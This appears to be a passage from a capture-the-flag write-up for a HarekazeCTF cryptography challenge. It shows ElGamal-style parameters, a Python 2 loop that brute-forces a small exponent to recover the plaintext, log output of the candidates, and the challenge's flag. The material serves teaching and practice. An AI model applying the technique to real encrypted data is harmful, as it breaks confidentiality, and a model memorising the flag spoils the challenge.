p,g,h = (129611465963576276175884704926659272830166848843117726813765952405011441153095544518370882403583907106289959590657076982812387742871049661594184116960088459582870149565315348397301486352187530672265603334586622171831488695588798232174923008229650443224146376154471702093416504001077807779638394326345495705979L, 2, 102415556349099650512587492236492899109076967367562710673261126251999604234860889251857369946556823858125217895211825291990706324702140575742783686918008322655668732971012026685006807894558005920398489914190228759561293771440039280949882993772226473245601689566995377706791416174787331323753769188850853810384L)
c1, c2 = (69516126248410155154501752945225530512653830785471752785343749139365821737005927443120385411968796577504071681110776071830405348396836674008422344111671740191840405638399609058755397760132679235417224459276567798484169893761913477225865025728162221764595692032538605242107590658538196142635238805973508247673L, 38297890696902802168870262727365529660950106347283636109020715845656791368885186535949598501547598128217125535433219415030034629237647128489877684184961507813034776268194420434301487532601547119580076562347699320718610346226387907830164585184978473170540144902200352380036515106351243707526358572050493171627L)
m = 15012251594530353672790705878696438955882861148601367051265144550145568068509465526616321487480704727851923348848147594250557549394153846524512450248749483814258405873994138875524678908154746633767024055004797736430031099732977097918022312869432882614795005608361303537613123363152862353591980860851160662214L

for r in range(2**16,2**17):
  t = m * pow(pow(3,r,p),p-2,p)%p
  t = hex(t)[2:-1]
  if len(t)%2!=0:
    t = "0"+t
  print r, t.decode("hex")
```

```log.txt
83479 砧脆mM従VｴﾘZ~m ｢ｬZｴ畛lZ・ﾎlﾘZl瘍Zﾖ・ﾎlﾙZ|ｳﾖﾎ[ﾏe
83480 ﾙ$W0B$o/ﾉ・r<H*$`69]<K$-V・H$K-Gｦ-V・HZ)賎・]W_嗹
83481 HarekazeCTF{im_caught_in_a_dr3am_and_m7_dr3ams_c0m3_tru3}
83482 {o^&"ｬ[fP・x・ｳ?Aa吶ｪ･ﾏ<D!ｱｵｳ i5'なﾊR嘘・;#W事ﾞ・U>&｡抱`/wﾓﾃ檳Gｺﾅ・~70⇔!ﾇT｢早q・8ﾕ弩"｡R{ｱ匚┤・ﾌ､・・､i3N威ﾈﾑ
83483 ､・}・;ﾎﾃ3堽｡5X・ﾗwﾚ8ﾝ"・・G儷癧ﾟYｸnn嬬坙5дｾm(ｶ・Rﾝ`ﾗr?Joｯ~・Bﾖ3輙	滞).竜?OｸE・M(｡贒ｱЫﾎOV*7!柴・Wﾙ`~uｽ3H蓿8・
```

`HarekazeCTF{im_caught_in_a_dr3am_and_m7_dr3ams_c0m3_tru3}`